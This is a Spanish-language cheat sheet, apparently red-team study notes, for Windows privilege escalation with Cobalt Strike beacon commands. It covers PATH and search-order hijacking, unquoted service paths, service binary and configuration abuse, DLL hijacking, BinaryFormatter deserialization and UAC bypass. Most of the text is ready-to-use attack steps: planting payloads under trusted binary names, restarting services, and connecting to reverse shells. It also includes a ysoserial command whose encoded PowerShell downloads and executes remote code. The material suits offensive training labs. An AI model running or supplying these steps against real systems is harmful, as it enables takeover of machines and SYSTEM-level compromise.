Qué es:
Si una carpeta antes que System32 en PATH es escribible, puedes colocar un binario malicioso con el mismo nombre que uno legítimo (ej: timeout.exe).
Uso: Si puedes escribir en un directorio listado en el PATH antes de C:\Windows\System32.
Comandos clave:
beacon>powershell Get-Item Env:Path # Ver variables de entorno, buscar rutas delante del path, sin o se ve entero:
beacon> env (buscamos Path=)
beacon> cacls <dir> # Ver permisos del directorio, si peudo escribir.
beacon> cd <dir_writable>
beacon> upload <payload>
beacon> mv <payload> <nombre_legítimo>.exeEjemplo práctico:
beacon> cd C:\Python313\Scripts
beacon> upload C:\Payloads\dns_x64.exe
beacon> mv dns_x64.exe timeout.exe🔹 2. Search Order Hijacking
Qué es:
Hijack del orden de búsqueda al ejecutar binarios (varía según la API usada: CreateProcess, ShellExecuteEx, WinExec).
Orden de búsqueda típico (WinExec):
-
Dir ejecutable
-
Dir actual
-
C:\Windows\System32 -
C:\Windows -
PATH
Claves:
- Si el ejecutable está en un directorio escribible, puedes suplantar
cmd.exe, etc.
Uso: Si puedes escribir en el directorio donde vive el binario del servicio/aplicación.
Comandos:
beacon> cacls "C:\Ruta\Del\Binario"
beacon> cd "C:\Ruta\Del\Binario"
beacon> upload <payload>
beacon> mv <payload> cmd.exeEjemplo:
beacon> cd "C:\Program Files\Bad Windows Service\Service Executable"
beacon> upload C:\Payloads\dns_x64.exe
beacon> mv dns_x64.exe cmd.exeQué es:
Servicios que se configuran con rutas que contienen espacios y no están entre comillas. Windows busca de forma ambigua (C:\Program Files\Bad.exe, etc.).
Buscar rutas sin comillas:
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath
beacon> cd C:\Program Files\Vulnerable Services
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> run sc stop VulnService1
beacon> run sc start VulnService1
beacon> connect localhost 4444- Permiso de modificación sobre la configuración del servicio (
sc config). - El binario no necesita ser vulnerable, solo la configuración
# 1. Enumerar servicios modificables
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
# 2. Ver permisos exactos
beacon> powershell-import Get-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access
# 3. Ver configuración actual
beacon> run sc qc VulnService2
# 4. Subir payload
beacon> mkdir C:\Temp
beacon> cd C:\Temp
beacon> upload tcp-local_x64.svc.exe
# 5. Cambiar ruta del binario
beacon> run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe
# 6. Reiniciar servicio
beacon> run sc stop VulnService2
beacon> run sc start VulnService2
# 7. Conectarse al reverse shell
beacon> connect localhost 4444- Permisos de escritura sobre el binario del servicio.
# 1. Enumerar servicios modificables
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
# 2. Ver permisos sobre el binario
beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services\Service 3.exe" | fl
# 3. Copiar payload con el nombre del binario
PS> copy "tcp-local_x64.svc.exe" "Service 3.exe"
# 4. Parar servicio
beacon> run sc stop VulnService3
# 5. Subir binario modificado
beacon> cd "C:\Program Files\Vulnerable Services"
beacon> upload Service 3.exe
# 6. Iniciar servicio
beacon> run sc start VulnService3
# 7. Conectarse al reverse shell
beacon> connect localhost 4444Cuando una app necesita una DLL, muchas veces no indica su ruta completa, sino solo el nombre. Entonces Windows busca esa DLL en un orden específico llamado “DLL search order”.
👉 Si tú puedes escribir un archivo malicioso en una carpeta que se revisa antes que la legítima, puedes engañar a la app para que cargue tu DLL maliciosa con privilegios altos.
-
📁 Directorio desde el que se ejecuta el programa
-
📁
C:\Windows\System32 -
📁
C:\Windows\System -
📁
C:\Windows -
📁 Directorio de trabajo actual
-
📁 Directorios del
PATH(variable de entorno)
# 1. Ver si el ejecutable llama a una DLL sin ruta (típico en apps mal hechas)
→ Ya confirmado que busca "BadDll.dll" sin ruta
# 2. Ver el directorio donde se ejecuta el servicio
beacon> ls "C:\Program Files\Bad Windows Service\Service Executable"
# 3. Ver si ese directorio es escribible
beacon> cacls "C:\Program Files\Bad Windows Service\Service Executable"
# Si ves: Authenticated Users:(CI)(OI)F → TIENES PERMISOS PARA ESCRIBIR 🟢
# 4. Subir DLL maliciosa
beacon> cd "C:\Program Files\Bad Windows Service\Service Executable"
beacon> upload C:\Payloads\dns_x64.dll
# 5. Renombrar a la DLL que busca la app
beacon> mv dns_x64.dll BadDll.dll
# 6. Esperar a que se ejecute el servicio o reiniciarlo si puedes
beacon> run sc stop BadWindowsService
beacon> run sc start BadWindowsService
# 7. Ya tienes shell con los privilegios del servicio 😈
beacon> connect localhost 4444 (o lo que hayas definido)Muchos programas guardan objetos en archivos binarios. Para volver a usarlos, deserializan esos archivos. El problema aparece cuando el programa:
- Deserializa datos desde una ruta que puedes controlar (como
C:\Temp\data.bin) - Usa una técnica vulnerable como
BinaryFormatter - Corre con privilegios elevados (ej: SYSTEM, admin)
👉 En ese caso, puedes escribir un archivo malicioso que, al ser deserializado, ejecute tu código como SYSTEM. 🔥
#BUSCAR BINARIOS QUE DESERIALIZEN
Get-ChildItem -Path C:\ -Recurse -Include *.bin,*.dat,*.txt -ErrorAction SilentlyContinue -Force |
Where-Object {
-not $_.PSIsContainer -and
(Get-Content $_.FullName -ErrorAction SilentlyContinue | Select-String -SimpleMatch "deserialise")
} |
Select-Object FullName- Si tú puedes escribir en la ruta del binario y ese programa corre con permisos elevados… ¡es tu oportunidad!
C:\Tools\ysoserial.net\ysoserial.exe ^
-g TypeConfuseDelegate ^
-f BinaryFormatter ^
-c "powershell -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAzADEANAA5ADAALwAnACkA" ^
-o raw ^
--outputpath C:\Payloads\data.bin
beacon> cd C:\Temp
beacon> upload C:\Payloads\data.binbeacon>whoami /groups→ Verás una línea como: Mandatory Label\Medium Mandatory Level
- Escalar
beacon> elevate [exploit] [listener]
#Ejemplo:
beacon> elevate uac-token-duplication http_listenerrunasadmin uac-schtasks cmd.exe /c whoami /groups